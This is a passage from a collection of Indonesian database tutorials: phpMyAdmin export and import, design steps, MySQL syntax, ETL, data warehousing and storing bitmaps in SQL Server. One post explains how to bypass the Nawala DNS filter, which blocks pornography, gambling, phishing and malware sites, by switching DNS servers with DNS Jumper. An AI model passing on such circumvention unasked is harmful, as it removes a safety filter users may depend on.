c. jika telah anda telah memilih database, maka phpmyadmin akan menampilkan tabel-tabel yang terdapat pada database tersebut.
3
d. klik pada bagian “Export”
4
e. Sekarang anda berada pada bagian option yang menentukan “Bagaimana cara database anda akan di dump”,
5
Catatan pada menu option:
• Export: Pilihan bagaimana dump dari database anda akan ditampilkan. Defaultnya adalah SQL.

6
Jika anda akan menggunakan dump dari database untuk ditransfer ke website anda, maka gunakan SQL.
• SQL option: opsi2 mengenai query apa saja yang akan digunakan pada dump database anda.
7
Opsi2 untuk export menggunakan SQL
• Save as File: Jika anda ingin hasil dump database langsung disimpan, maka centang bagian ini
8
pada bagian ini, anda juga dapat memilih tipe kompresi untuk dump database anda
f. klik ‘go’
10

Jika sebelumnya anda mencentang bagian ‘save as file’ maka akan keluar popup window (file download).

11
Jika tidak, maka hasil dump dari database akan ditampilkan langsung di browser
12
Hasil dump yang ditampilkan di browser, sebaiknya anda copy terlebih dahulu
13
Pada Website Anda
Login ke cpanel website anda (http://domainanda/cpanel) dengan menggunakan username dan password yang telah dikirimkan oleh Rumahweb.
Setelah login, anda dapat menggunakan phpmyadmin yang sudah terdapat pada cpanel, langkah2 nya:
a. Klik pada menu ‘MySQL database’
14
• Jika anda belum membuat MySQL user, dan database di cpanel. Maka ikuti langkah berikut:
i. isikan username dan password untuk MySQL user
15
Kemudian klik ‘Add User’
Catatan: ingat baik2 username dan password yang telah anda buat, karena akan diperlukan untuk koneksi dari php ke database anda.
ii. Masukkan nama database yang ingin anda buat
16
iii. Tambahkan user ke database yang telah anda buat
17
klik add “user to db”
b. setelah anda masuk ke menu ‘MySQL database’, klik link untuk ke phpmyadmin
18
c. Kemudian pilih database yang akan anda isi dengan hasil dari MySQL dump
19
d.Lalu klik pada menu ‘SQL’
20
e. Jika anda:
a. Tidak menggunakan ‘Save as file’ untuk hasil dump database tadi, maka anda dapat melakukan copy (pada hasil dump di komputer lokal)
21
Lalu anda paste pada bagian ‘Run SQL Query’
22
Kemudian klik ‘go’
b. Menggunakan ‘Save as File’, maka anda tinggal meng-upload file hasil dump dari database tadi.
23
Klik browse, lalu
24
klik ‘open’
Kemudian, anda tinggal meng-klik ‘go’
25
Maka database anda pun selesai di upload


ilmuti.com

Langkah-langkah Mendesain Database


Buat para Database designer atau Database Administrator (DBA) mendesain database adalah hal yang sudah biasa dilakukan, namun bagaimana buat kita-kita yang baru saja mempelajari database, atau belum pernah sama sekali mendesain database?
Maka disini saya ingin sharing bagaimana langkah-langkah yang baik dan benar untuk mendesain sebuah database:
  1. Analisis Persyaratan: Langkah pertama dalam mendesain sebuah aplikasi database adalah memahami dan mengetahui data yang harus disimpan di dalam database, aplikasi apa yang harus dibangun diatasnya, dan jenis operasi apa yang lebih banyak digunakan, dan subjek untuk melakukan persyaratan yang ada. Dengan kata lain, kita harus tahu apa yang diinginkan pengguna database tersebut. Biasanya ini adalah sebuah proses informal yang melibatkan partisipasi kelompok pengguna, studi tentang lingkungan pegoprasian saat ini dan bagaimana perkiraan perubahan lingkungan tersebut, analisis dokumen yang ada dalam suatu aplikasi yang diharapkan akan diganti atau dilengkapi oleh database, dan seterusnya. Banyak metodologi yang diusulkan untuk menyusun dan menampilkan informasi yang dikumpulkan pada langkah tersebut. Beberapa alat otomatis pun telah dikembangkan untuk mendukung proses ini.
  2. Desain Database Konseptual: Informasi dikumpulkan pada saat analisis persyaratan digunakan untuk mengembangkan deskripsi data tingkat tinggi yang harus disimpan dalam database, bersama dengan batasan yang telah diketahui untuk menetapkan penyimpanan data tersebut. Langkah ini sering dilakukan dengan menggunkan model ER. Model ER adalah salah satu dari model data tingkat tinggi, atau semantik, yang digunakan dalam desain database. Tujuannya adalah menciptakan gambaran sederhana tentang data yang mirip dengan pemikiran pengguna dan pengembang mengenai data tersebut (orang dan proses yang dinyatakan dalam data tersebut). Hal tersebut menfasilitasi diskusi di antara orang-orang yang terlibat dalam proses desain, bahkan mereka yang tidak mempunyai latar belakang teknis. Pada saat yang sama, desain awal harus akurat untuk membantu ketapatan translasi ke dalam sebuah model data yang didukung oleh sistem database komersial (yang dalam prakteknya berarti model relasional).
  3. Desain Database Logika: Kita harus memilih sebuah DBMS untuk mengimplementasikan desain database kita, dan mengubah konsep desain database menjadi sebuah skema database dalam model data dari DBMS terpilih. Kitah hanya akan memperhatikan DBMS relasional, dan dengan demikian tugas desain logika adalah mengubah skema ER menjadi skema database relasional.
  4. Perbaikan Skema: Langkah keempat dalam desain dataase adalah analisis sekumpulan relasi dalam skema database relasional untuk mengidentifikasi permasalahan yang muncul, dan memperbaikinya. Berbeda dengan alaisis persyaratan dan langkah-langkah desain konseptual, yang secara esensial bersifat subjektif, perbaikan skema dapat dipandu oleh beberapa teori yang kuat dan bagus.  Langkah keempat ini, para akademis IT lebih sering disebut dengan Normalisasi.
  5. Desain Database Fisik: pada langkah ini, kita juga mempertimbagkan beban kerja umum yang diharapkan dapat didukung oleh datagbase kita dan memperbaiki deswain database di masa mendatang untuk memastikan terpenuhinya kriteria performa yang diinginkan. Langkah ini hanya mencakup pembuatan indeks pada beberapa tabe dan mengelompokkan beberapa tabel, atau bahkan melibatkan desain ulang yang substansial terhadap beberapa bagian skema database yang didapat dari langkah pertama desain database.
  6. Desain Aplikasi dan Keamanan: Semua proyek perangkat lunak yang melibatkan sebuah DBMS harus mempertimbangkan aspek aplikasi yang berada di luar database itu sendiri. Metodologi desain seperti UML mencoba menekankan desain perangkat lunak dan siklus pengembangan yang lengkap. Secara singkat, kita harus bisa mengidentifikasi entitas (contohnya pengguna, grup-grup pengguna, dan bagian-bagian lain) dan proses-proses yang terlibat dalam aplikasi. Kita harus menggambarkan peran setiap entitas dalam setiap proses yang akan direfleksikan pada beberapa tugas aplikasi, sebagai bagian dari aliran kerja lengkap untuk tugas tersebut. Untuk tiap peran, kita harus bisa mengidentifikasi bagian database yang harus bisa diakses dan yang tidak bisa diakses, dan kitah harus bisa menganmbil langkah untuk memastikan bahwa aturan akses terseut dilakukan. DBMS memberikan beberapa mekanisme untuk membantu langkah tersebut.
Demikianlah langkah-langkah desain database yang harus kita lakukan jika kita ingin membangun sebuah database yang baik dan benar. Secara realistis, meskipun kita mulai dari proses 6 langkah diatas, sebuah desain database yang lengkap mungkin akan memerlukan sebuah fase tuning (penyesuaian) sesudah itu sampai desain tersebut memuaskan.
Referensi: http://www.wilantara.com/database/66-langkah-langkah-mendesain-database.html

Dasar-Dasar MySQL


MySQL merupakan sebuah DBMS (Database Management System) yang bersifat multiuser dan multireading. SQL (Structured Query Languange) yang merupakan bahasa standar yang digunakan untuk sistem manajemen database relational. 
Tipe Data
Setiap Data memiliki tipe data. Tipe data dibagi menjadi dua yaitu tipe data standar dan tipe data perluasan. Beberapa tipe data standar diantaranya :
1. Char : untuk menyatakan deretan karakter (String)
2. Integer : untuk menyatakan bilangan bulat
3. Numeric : untuk menyatakan bilangan real
Dan beberapa tipe data perluasan diantaranya :
1. Varchar : untuk menyatakan string yang panjangnya bervariasi
2. Boolean : untuk menyatakan tipe logis (true atau false)
3. Money : untuk menyatakan uang
4. Blob : untuk menyatakan data biner atau gambar
5. Serial : untuk menyatakan nilai yang urut
Statement MySQL
DDL (Data Definition Languange)
Membuat database, menggunakannya, membuat table, menentukan index serta struktur penyimpanan tabel
- CREATE DATABASE {nama database yang akan dibuat}.
Perintah ini digunakan untuk pada saat membuat database untuk pertama kali
- USE {nama database yang akan digunakan}.
Untuk menggunakan database yang telah dibuat
- CREATE TABLE {nama tabel yang akan dibuat}.
Membuat tabel yang diperlukan database.
DML (Data Manipulation System)
Melakukan manipulasi dan pengambilan data berupa penyisipan atau penambahan data baru, penghapusan data serta pengubahan data.
- INSERT
Perintah : INSERT INTO namatabel (field1,[field2,[...]]) VALUES (nilai1[,nilai2,[....]);
- UPDATE
Perintah : UPDATE namatabel SET field1=nilai1, field2=nilai2[...] WHERE kondisi;
- DELETE
Perintah : DELETE FROM namatabel WHERE kondisi;
- SELECT
Perintah : SELECT * FROM namatabel;
(*) untuk memilih seluruh field bila hanya beberapa yang akan digunakan sebutkan fieldnya. Penggunaan SELECT dengan berbagai kondisi .
# Menggunakan operator IS NULL dan IS NOT NULL
Operator IS NULL digunakan untuk mencari nilai yang kosong dalam suatu kolom, sedangkan IS NOT NULL digunakan untuk mencari nilai yang tidak kosong.
Contoh :
SELECT * FROM tabel WHERE dataku IS NULL;
SELECT * FROM tabel WHERE dataku IS NOT NULL;
# Mengurutkan data dengan ORDER BY
Contoh :
SELECT * FROM tabel ORDER BY nama;
# Mengurutkan data secara Descending
Contoh :
SELECT * FROM tabel ORDER BY nama DESC
DCL (Data Control Languange)
DCL adalah perintah untuk melakukan pendefinisian pemakai yang boleh mengakses database dengan berbagai macam previlage. DCL terdiri atas sekelompok perintah SQL untuk memberikan hak untuk mengakses database, mengalokasikan space, pendefinisan space dan pengauditan penggunaan database. Biasanya hal ini tersedia pada sistem manajemen database yang memiliki fasilitas keamanan denga membatasi pemakai dan kewenangannya

ilmuti.com

Membuat Database Mysql di Xampp


Halo pada posting kali ini saya akan menjelaskan tutorial singkat cara membuat database mySQL di XAMPP. Pada intinya pembuatan database mySQL di kompie lokal dengan menggunakan XAMPP dan hosting account milik kamu dasarnya adalah sama.

Bagi kamu yang masih belum menginstall XAMPP web server dapat membaca pada posting panduan menginstall XAMPP, dan bagi kamu yang sudah menginstall XAMPP tapi mengalami masalah, dapat membaca posting masalah menginstall xampp.
Oke berikut ini tutorial langkah demi langkah cara membuat database mySQL di PHPMyAdmin.
  • Langkah pertama tentu saja membuka web browser kesayangan kamu. Ketikkan localhost pada url addressnya.
  • Pilih menu phpMyAdmin seperti yang ditunjukkan pada gambar di bawah ini
  • menu phpmyadmin 300x225 Membuat database mySQL di XAMPP
  • Ketikkan nama database yang ingin dibuat, lalu klik tombol create untuk membuat database tersebut seperti yang ditunjukkan pada gambar dibawah ini
  • gambar membuat database di phpmyadmin 300x157 Membuat database mySQL di XAMPP
  • Apabila database berhasil dibuat maka akan muncul pesan “Database coba has been created.” seperti yang ditunjukkan pada gambar dibawah ini.
  • message ketika database berhasil dibuat 300x154 Membuat database mySQL di XAMPP
oke sekian saja posting kali ini. Selamat mencoba dan good luck icon wink Membuat database mySQL di XAMPP

sumber:ilmuti.com

ETL ???


Tiga fungsi utama yang perlu dilakukan untuk membuat data siap digunakan pada datawarehouse adalah extraction, transformation dan loading. Ketiga fungsi ini terdapat pada staging area.
Pada data staging ini, disediakan tempat dan area dengan beberapa fungsi seperti data cleansing, change, convert, dan menyiapkan data untuk disimpan serta digunakan oleh datawarehouse.

Extraction
Data Extraction adalah proses pengambilan data yang diperlukan dari sumber datawarehouse dan selanjutnya dimasukkan pada staging area untuk diproses pada tahap berikutnya .
Pada fungsi ini, kita akan banyak berhubungan dengan berbagai tipe sumberdata. Format data, mesin yang berbeda, software dan arsitektur yang tidak sama. Sehingga sebelum proses ini kita lakukan, sebaiknya perlu kita definisikan requirement terhadap sumber data yang akan kita butuhkan untuk lebih memudahkan pada extraction data ini.
Transformation
Pada kenyataannya, pada proses transaksional data disimpan dalam berbagai format sehingga jarang kita temui data yang konsisten antara aplikasi-aplikasi yang ada. Transformasi data ditujukan untuk mengatasi masalah ini.
Dengan proses transformasi data ini, kita melakukan standarisasi terhadap data pada satu format yang konsisten. Beberapa contoh ketidakkonsistenan data tersenut dapat diakibatkan oleh tipe data yang berbeda, data length dan lain sebagainya.
Untuk lebih jelasnya dapat dilihat pada tabel 2.1 yang menunjukkan permasalahan dasar pada proses pengintegrasian data.

Keterangan :
• Format, Pada transaksional data dapat disimpan dalam berbagai format. Elemen data tersebut dapat tersimpan dalam format text, integer dan sebagainya. Untuk itu standarisasi perlu dilakukan dengan melihat kegunaan pokok dari elemen data pada proses transaksinal dan datawarehouse.
• Description, Pada tabel terlihat representasi ketiga nama pelanggan adalah sama. Namun dengan penulisan yang beda terlihat adanya perbedaan format pada data. Oleh karena itu perlu diambil salah satu dari deskripsi tersebut untuk konsistensi data.
• Unit, Adanya perbedaan satuan ukuran dapat menimbulkan permasalahan yang komplek. Jika user tidak mengetahui adanya perbedaan ini dan menganggap sama, maka akan terjadi kesalahan ketika kita melakukan penghitungan matematis.
• Encoding, huruf atau nomor dapat dijadikan label sebagi identifikasi suatu objek. Seperti pada tabel diatas, kesalahan dapat terjadi karenanya.
Loading
Data loading adalah memindahkan data ke datawarehouse. Ada dua loading data yang kita lakukan pada datawarehouse. Pertama adalah inisial load, proses ini dilakukan pada saat kita telah selesai mendesign dan membangun datawarhouse.
Data yang kita masukkan tentunya akan sangat besar dan memakan waktu yang relati lebih lama. Kedua Incremental load, dilakukan ketka datawarehouse telah dioperasikan. Kita melakukan data extraction, transformation dan loading terhadap data tersebut.
Untuk inisial load dilakukan sekali saja, namun untuk incremental load dapat kita jadwalkan sesuai dengan kebutuhan, bisa setiap hari, bulan, kuartal atau tahun sesuai dengan kebutuhan sistem kita.
Sumber :
Achmad Zulfikar
http://www.gudangmateri.com/2010/04/etl-data-warehouse.html

Tips Membuka Situs Yang Di Blokir Oleh Nawala, Telkom, AHA


Tips Membuka Situs Yang Di Blokir Oleh Nawala, Telkom, AHA Sobat blogger yang demen online dan browsing pasti udah nggak asing lagi dong dengan yang namanya Nawala?? Banyak sobat blogger yang bertanya ke saya “Bang, cara buka situs yang di blokir oleh Nawala gimana sih??” Mau tau, silahkan baca tips berikut ini, 
Oiya, sebelum saya menjelaskan caranya, ada baiknya kita mengenal apa itu Nawala yang saya ambil langsung dari nawala.org. Nawala (DNS) adalah salah satu layanan sistem penyaring berdasarkan nama Domain Name System yang didukung oleh berbagai pihak, yaitu pelaku bisnis warnet, Kemkominfo, dan PT. Telkom sebagai BUMN penyedia jasa layanan internet di Indonesia.
DNS Nawala secara spesifik menyaring segala jenis konten negatif, seperti Pornografi, Judi, situs Phising (penyesatan) serta situs yang mengandung Malware (software berbahaya).
Efek pemblokiran :
Efek menghindari pemblokiran :
Nah, bagaimana untuk menghindari pemblokiran tersebut?? Intinya sih kita harus mengganti DNS nawala dengan DNS lain. Bisa menggunakan layanan OpenDNS dan sebagainya. Disini saya akan share dengan menggunakan tool yang bernama DNS Jumper karena simple dan mudah untuk digunakan.
Cara menggunakan DNS Jumper :
1. Download DNS Jumper
2. Ekstrak (keluarkan file dari zip) ke desktop atau kemana aja.
3. Jalankan DNS Jumper
4. Pilih Network card (sesuaikan dengan komputer anda)
5. Pilih DNS Service yang akan kita gunakan di menu dropdown.
6. Klik apply DNS.
7. Done.
Selain itu, dengan menggunakan DNS Jumper sobat blogger juga bisa menggunakan mengecek DNS yang cepat untuk komputer/internet sobat blogger, dengan klik menu Fastest DNS.
DISCLAIMER : Artikel ini saya share hanya untuk pengetahuan semata. Resiko dan penyalahgunakan informasi ini merupakan tanggung jawab individu masing-masing.


ilmuti.com

Membuat Aplikasi Database Sederhana dengan Zoho Creator


Setelah sekian lama keberadaannya, baru kali ini saya mencoba menggunakan Zoho Creator. Zoho Creator merupakan layanan online untuk membuat aplikasi sederhana dengan dukungan form dan database seperti halnya Microsoft Access. Di sini kita dapat membuat aplikasi online yang memungkinkan pengunjung website memasukkan data dengan form isian yang dapat kita desain sendiri yang memuat apa-apa yang perlu diisikan, misalnya saja aplikasi contact form atau feedback form dalam website. Aplikasi yang kita buat dapat pula kita tujukan secara terbatas misalnya hanya untuk teman atau kerabat kita.Untuk membuat suatu aplikasi dengan Zoho Creator, kita dapat memulainya dari data-data yang sudah ada misalnya dengan menyalin dari file Excel (.xls) atau file .csv. Zoho Creator menyediakan pula template aplikasi yang dapat kita sesuaikan dengan kebutuhan kita. Jika menginginkan untuk memulai dari awal, untuk sekedar membuat aplikasi sederhana rasanya tidak terlalu sulit, kita hanya melakukan ‘drag and drop’ jenis field yang diinginkan, kemudian mengedit label dan properties lainnya.
Untuk pengguna tingkat lanjut, dapat pula memanfaatkan fasilitas scripting yang menggunakan Deluge Script. Ini seperti fasilitas VBA untuk program Microsoft Access.
Form aplikasi yang dibuat dapat kita atur lebih lanjut misalnya agar mengirim notifikasi melalui email dan juga hak akses terhadap aplikasi ini. Jika memang aplikasi akan ditampilkan melalui web atau blog maka kita perlu menentukan hak akses kepada public. Berikut ini merupakan contoh form feedback yang saya buat dan seperti inilah ketika ditampilkan dalam halaman web.
Misalnya Anda telah mengisikan data melalui form isian tersebut, maka saya dapat melihat data tersebut melalui berbagai tampilan yang memungkinkan (list, spreadsheet, summary, calendar atau chart).
Data-data yang masuk tersebut, kemudian dapat di-export ke berbagai format seperti PDF, HTML, CSV, dan beberapa format lainnya.

ilmuti.com

Data Warehouse


Pengertian Data Warehouse dapat bermacam-macam namun mempunyai inti yang sama, seperti pendapat beberapa ahli berikut ini : Menurut W.H. Inmon dan Richard D.H., data warehouse adalah koleksi data yang mempunyai sifat berorientasi subjek,terintegrasi,time-variant, dan bersifat tetap dari koleksi data dalam mendukung proses pengambilan keputusan management. 
Menurut Vidette Poe, data warehouse merupakan database yang bersifat analisis dan read only yang digunakan sebagai fondasi dari sistem penunjang keputusan.
Menurut Paul Lane, data warehouse merupakan database relasional yang didesain lebih kepada query dan analisa dari pada proses transaksi, biasanya mengandung history data dari proses transaksi dan bisa juga data dari sumber lainnya. Data warehouse memisahkan beban kerja analisis dari beban kerja transaksi dan memungkinkan organisasi menggabung/konsolidasi data dari berbagai macam sumber.
Jadi, data warehouse merupakan metode dalam perancangan database, yang menunjang DSS(Decission Support System) dan EIS (Executive Information System). Secara fisik data warehouse adalah database, tapi perancangan data warehouse dan database sangat berbeda. Dalam perancangan database tradisional menggunakan normalisasi, sedangkan pada data warehouse normalisasi bukanlah cara yang terbaik.
Dari definisi-definisi yang dijelaskan tadi, dapat disimpulkan data warehouse adalah database yang saling bereaksi yang dapat digunakan untuk query dan analisisis, bersifat orientasi subjek, terintegrasi, time-variant,tidak berubah yang digunakan untuk membantu para pengambil keputusan.
Istilah-istilah yang berhubungan dengan data warehouse
Istilah-istilah yang berkaitan dengan data warehouse :
1. Data Mart
Adalah suatu bagian pada data warehouse yang mendukung pembuatan laporan dan analisa data pada suatu unit, bagian atau operasi pada suatu perusahaan.
2. On-Line Analytical Processing(OLAP)
Merupakan suatu pemrosesan database yang menggunakan tabel fakta dan dimensi untuk dapat menampilkan berbagai macam bentuk laporan, analisis, query dari data yang berukuran besar.
3. On-Line Transaction Processing(OLTP)
Merupakan suatu pemrosesan yang menyimpan data mengenai kegiatan operasional transaksi sehari-hari.
4. Dimension Table
Tabel yang berisikan kategori dengan ringkasan data detail yang dapat dilaporkan. Seperti laporan laba pada tabel fakta dapat dilaporkan sebagai dimensi waktu(yang berupa perbulan, perkwartal dan pertahun).
5. Fact Table
Merupakan tabel yang umumnya mengandung angka dan data history dimana key (kunci) yang dihasilkan sangat unik, karena key tersebut terdiri dari foreign key(kunci asing) yang merupakan primary key (kunci utama) dari beberapa dimension table yang berhubungan.
6. DSS
Merupkan sistem yang menyediakan informasi kepada pengguna yang menjelaskan bagaimana sistem ini dapat menganalisa situasi dan mendukung suatu keputusan yang baik.
Karakteristik Data Warehouse
Karakteristik data warehouse menurut Inmon, yaitu :
1. Subject Oriented (Berorientasi subject)
Data warehouse berorientasi subject artinya data warehouse didesain untuk menganalisa data berdasarkan subject-subject tertentu dalam organisasi,bukan pada proses atau fungsi aplikasi tertentu.
Data warehouse diorganisasikan disekitar subjek-subjek utama dari perusahaan(customers,products dan sales) dan tidak diorganisasikan pada area-area aplikasi utama(customer invoicing,stock control dan product sales). Hal ini dikarenakan kebutuhan dari data warehouse untuk menyimpan data-data yang bersifat sebagai penunjang suatu keputusan, dari pada aplikasi yang berorientasi terhadap data.
2. Integrated (Terintegrasi)
Data Warehouse dapat menyimpan data-data yang berasal dari sumber-sumber yang terpisah kedalam suatu format yang konsisten dan saling terintegrasi satu dengan lainnya. Dengan demikian data tidak bisa dipecah-pecah karena data yang ada merupakan suatu kesatuan yang menunjang keseluruhan konsep data warehouse itu sendiri.
Syarat integrasi sumber data dapat dipenuhi dengan berbagai cara sepeti konsisten dalam penamaan variable,konsisten dalam ukuran variable,konsisten dalam struktur pengkodean dan konsisten dalam atribut fisik dari data.
Contoh pada lingkungan operasional terdapat berbagai macam aplikasi yang mungkin pula dibuat oleh developer yang berbeda. Oleh karena itu, mungkin dalam aplikasi-aplikasi tersebut ada variable yang memiliki maksud yang sama tetapi nama dan format nya berbeda. Variable tersebut harus dikonversi menjadi nama yang sama dan format yang disepakati bersama. Dengan demikian tidak ada lagi kerancuan karena perbedaan nama, format dan lain sebagainya. Barulah data tersebut bisa dikategorikan sebagai data yang terintegrasi karena kekonsistenannya.
3. Time-variant (Rentang Waktu)
Seluruh data pada data warehouse dapat dikatakan akurat atau valid pada rentang waktu tertentu. Untuk melihat interval waktu yang digunakan dalam mengukur keakuratan suatu data warehouse, kita dapat menggunakan cara antara lain :
 Cara yang paling sederhana adalah menyajikan data warehouse pada rentang waktu tertentu, misalnya antara 5 sampai 10 tahun ke depan.
 Cara yang kedua, dengan menggunakan variasi/perbedaan waktu yang disajikan dalam data warehouse baik implicit maupun explicit secara explicit dengan unsur waktu dalam hari, minggu, bulan dsb. Secara implicit misalnya pada saat data tersebut diduplikasi pada setiap akhir bulan, atau per tiga bulan. Unsur waktu akan tetap ada secara implisit didalam data tersebut.
 Cara yang ketiga,variasi waktu yang disajikan data warehouse melalui serangkaian snapshot yang panjang. Snapshot merupakan tampilan dari sebagian data tertentu sesuai keinginan pemakai dari keseluruhan data yang ada bersifat read-only.
 Non-Volatile
Karakteristik keempat dari data warehouse adalah non-volatile,maksudnya data pada data warehouse tidak di-update secara real time tetapi di refresh dari sistem operasional secara reguler. Data yang baru selalu ditambahkan sebagai suplemen bagi database itu sendiri dari pada sebagai sebuah perubahan. Database tersebut secara kontinyu menyerap data baru ini, kemudian secara incremental disatukan dengan data sebelumnya.
Berbeda dengan database operasional yang dapat melakukan update,insert dan delete terhadap data yang mengubah isi dari database sedangkan pada data warehouse hanya ada dua kegiatan memanipulasi data yaitu loading data (mengambil data) dan akses data (mengakses data warehouse seperti melakukan query atau menampilan laporan yang dibutuhkan, tidak ada kegiatan updating data).
Tugas-tugas Data warehouse
Ada empat tugas yang bisa dilakukan dengan adanya data warehouse
Menurut Williams, keempat tugas tersebut yaitu:
a. Pembuatan laporan
Pembuatan laporan merupakan salah satu kegunaan data warehouse yang paling umum dilakukan. Dengan menggunakan query sederhana didapatkan laporan perhari,perbulan, pertahun atau jangka waktu kapanpun yang diinginkan.
b. On-Line Analytical Processing (OLAP)
Dengan adanya data warehouse,semua informasi baik detail maupun hasil summary yang dibutuhkan dalam proses analisa mudah didapat.
OLAP mendayagunakan konsep data multi dimensi dan memungkinkan para pemakai menganalisa data sampai mendetail, tanpa mengetikkan satupun perintah SQL. Hal ini dimungkinkan karena pada konsep multi dimensi, maka data yang berupa fakta yang sama bisa dilihat dengan menggunakan fungsi yang berbeda. Fasilitas lain yang ada pada sofware OLAP adalah fasilitas rool-up dan drill-down. Drill-down adalah kemampuan untuk melihat detail dari suatu informasi dan roll-up adalah kebalikannya.
c. Data mining
Data mining merupakan proses untuk menggali(mining) pengetahuan dan informasi baru dari data yang berjumlah banyak pada data warehouse, dengan menggunakan kecerdasan buatan (Artificial Intelegence), statistik dan matematika. Data mining merupakan teknologi yang diharapkan dapat menjembatani komunikasi antara data dan pemakainya.
Beberapa solusi yang diberikan data mining antara lain :
1. Menebak target pasar
Data mining dapat mengelompokkan (clustering) model-model pembeli dan melakukan klasifikasi terhadap setiap pembeli dan melakukan klasifikasi terhadap setiap pemebeli sesuai dengan karakteristik yang diinginkan.
2. Melihat pola beli dari waktu ke waktu
Data mining dapat digunakan untuk melihat pola beli dari waktu ke waktu.
3. cross-market analysis
Data mining dapat dimanfaatkan untuk melihat hubungan antara satu produk dengan produk lainnya.
4. Profil pelanggan
Data mining bisa membantu pengguna untuk melihat profil pembeli sehingga dapat diketahui kelompok pembeli tertentu cenderung kepada suatu produk apa saja.
5. Informasi summary
Data mining dapat membuat laporan summary yang bersifat multi dimensi dan dilengkapi dengan informasi statistik lainnya.
d. Proses informasi executive
Data warehouse dapat membuat ringkasan informasi yang penting dengan tujuan membuat keputusan bisnis, tanpa harus menjelajahi keseluruhan data. Dengan menggunakan data warehouse segala laporan telah diringkas dan dapat pula mengetahui segala rinciannya secara lengkap, sehingga mempermudah proses pengambilan keputusan. Informasi dan data pada laporan data warehouse menjadi target informative bagi user.
Keuntungan Data Warehouse
Data warehouse merupakan pendekatan untuk menyimpan data dimana sumber-sumber data yang heterogen(yang biasanya tersebar pada beberapa database OLTP) dimigrasikan untuk penyimpanan data yang homogen dan terpisah. Keuntungan yang didapatkan dengan menggunakan data warehouse tersebut dibawah ini (Ramelho).
 Data diorganisir dengan baik untuk query analisis dan sebagai bahan untuk pemrosesan transaksi.
 Perbedaan diantara struktur data yang heterogen pada beberapa sumber yang terpisah dapat diatasi.
 Aturan untuk transformasi data diterapkan untuk memvalidasi dan mengkonsolidasi data apabila data dipindahkan dari database OLTP ke data warehouse.
 Masalah keamanan dan kinerja bisa dipecahkan tanpa perlu mengubah sistem produksi.
Keuntungan Data Warehouse
Membangun data warehouse tentu saja memberikan keuntungan lebih bagi suatu perusahaan, karena data warehouse dapat memberikan keuntungan strategis pada perusahaan tersebut melebihi pesaing-pesaing mereka. Keuntungan tersebut diperoleh dari beberapa sumber (Sean Nolan,Tom Huguelet):
 Kemampuan untuk mengakses data yang besar
 Kemampuan untuk memiliki data yang konsistent
 Kemampuan kinerja analisa yang cepat
 Mengetahui adanya hasil yang berulang-ulang
 Menemukan adanya celah pada business knowledge atau business process.
 Mengurangi biaya administrasi
 Memberi wewenang pada semua anggota dari perusaahan dengan menyediakan kepada mereka informasi yang dibutuhkan agar kinerja bisa lebih efektif.
sumber : http://www.google.co.id/url?sa=t&source=web&cd=1&ved=0CBUQFjAA&url=http%3A%2F%2Fmyhut.org%2Fpublic%2Fdatawarehouse.doc&ei=XVwQTtO1N5HKrAfPpICIBA&usg=AFQjCNH35seE0p1U2HZQapnttCjDihaHWg

Menyimpan Bitmap ke Database dengan ADO.NET (dan menampilkannya di web)


Pada saat bekerja jadi programmer dulu penulis pernah diminta untuk membuatkan sistem
pengelolaan kumpulan file citra bitmap GIS yang dapat dikelompokkan (grouping), diurutkan
(sorting) dan dicari (querying) menurut berbagai kriteria, dan dapat ditampilkan di halaman web,
termasuk kemungkinan integrasi di masa depan. Solusinya adalah dengan memanfaatkan RDBMS.
Dalam hal ini, yang disimpan dalam record database tidak hanya metadata atau informasi tekstual
dari suatu file bitmap, tetapi file bitmap yang binary itu sendiri juga disimpan sekalian dalam record
database.
Masalahnya, tidak semua produk RDBMS menyediakan fasilitas untuk menyimpan file bitmap
dalam record database. Dalam hal ini, sang pembuat aplikasi yang harus membuat mekanisme untuk
melakukan tugas tersebut.
File bitmap termasuk file binary, artinya file terbentuk atas byte array. Untuk menyimpan data
seperti ini kita dapat menggunakan salah satu dari tipe data SQL Server yaitu binary, varbinary, dan
image. Dalam tutorial ini kita menggunakan type data image, karena dapat menyimpan sampai 2GB
per-record.
Dalam tutorial ini, kita akan membuat aplikasi untuk menyimpan file bitmap ke database SQL
Server 2000, menampilkannya ke halaman web dengan ASP.NET, sekaligus membuat image gallery.
Persyaratan:
• Windows XP, Windows 2000 Server, Windows 2000 Professional
• .NET Framework 1.0 atau 1.1
• IIS / PWS dengan FrontPage Server Extensions
• Visual Studio.NET 2002 atau 2003
• SQL Server 2000 (SP3 +)
• Hardware kelas Pentium III – RAM 256MB +, HD 2GB+
FrontPage Server Extensions dan .NET Framework sudah termasuk dalam CD Visual Studio.Net
Lisensi Dokumen:
Copyright © 2003 – 2006 IlmuKomputer.Com
Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara
bebas untuk tujuan bukan komersial (nonprofit), dengan syarat tidak menghapus atau merubah
atribut penulis dan pernyataan copyright yang disertakan dalam setiap dokumen. Tidak
diperbolehkan melakukan penulisan ulang, kecuali mendapatkan ijin terlebih dahulu dari
IlmuKomputer.Com.
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
2
Keuntungan menyimpan file binary dalam database
Beberapa keuntungan penyimpanan file bitmap (atau file binary lain) dalam bentuk record database
antara lain:
1. Penyimpanan data terpusat yang reliable.
Seluruh bitmap disimpan dalam record database, sehingga memungkinkan untuk diakses dari
aplikasi desktop maupun web. Penyimpanan bitmap dalam struktur database juga lebih baik
dari pada menggunakan struktur file system karena adanya fitur full/incremental backup-restore ,
transactional-locking dan replication yang saat ini sudah menjadi fitur standar produk database.
Fitur Field Indexing juga akan mempercepat pencarian dan pengurutan record berdasarkan
kriteria tertentu. Volume data juga tidak dibatasi oleh file system (FAT32 atau NTFS tetap
memiliki jumlah maksimum file yang dapat disimpan dalam satu direktori), melainkan
tergantung dari kapasitas media penyimpanan.
2. Model kemanan yang lebih baik.
Model keamanan data sudah tidak tergantung lagi pada skema keamanan struktur file (apalagi
kalau masih pakai FAT32 yang keamanannya sangat terbatas). Kita dapat mengatur user
permission sampai di tingkat field. Penggunaan stored procedure untuk akses dan modifikasi
data juga sangat disarankan dalam memperketat keamanan data.
3. Mendukung integrasi antar sistem
Kunci sukses sebuah sistem saat ini adalah connectivity, artinya mudah dikoneksikan atau
diintegrasikan dengan sistem lain. Dengan adanya format XML yang universal, data bitmap yang
binary itu dapat diserialisasikan menjadi format Base64 String, kemudian dikirimkan dalam
bentuk stream ke sistem lain, sehingga berbagai sistem dapat saling berkomunikasi. Format
XML juga memungkinkan kita untuk bekerja secara offline, yaitu bekerja tanpa harus terkoneksi
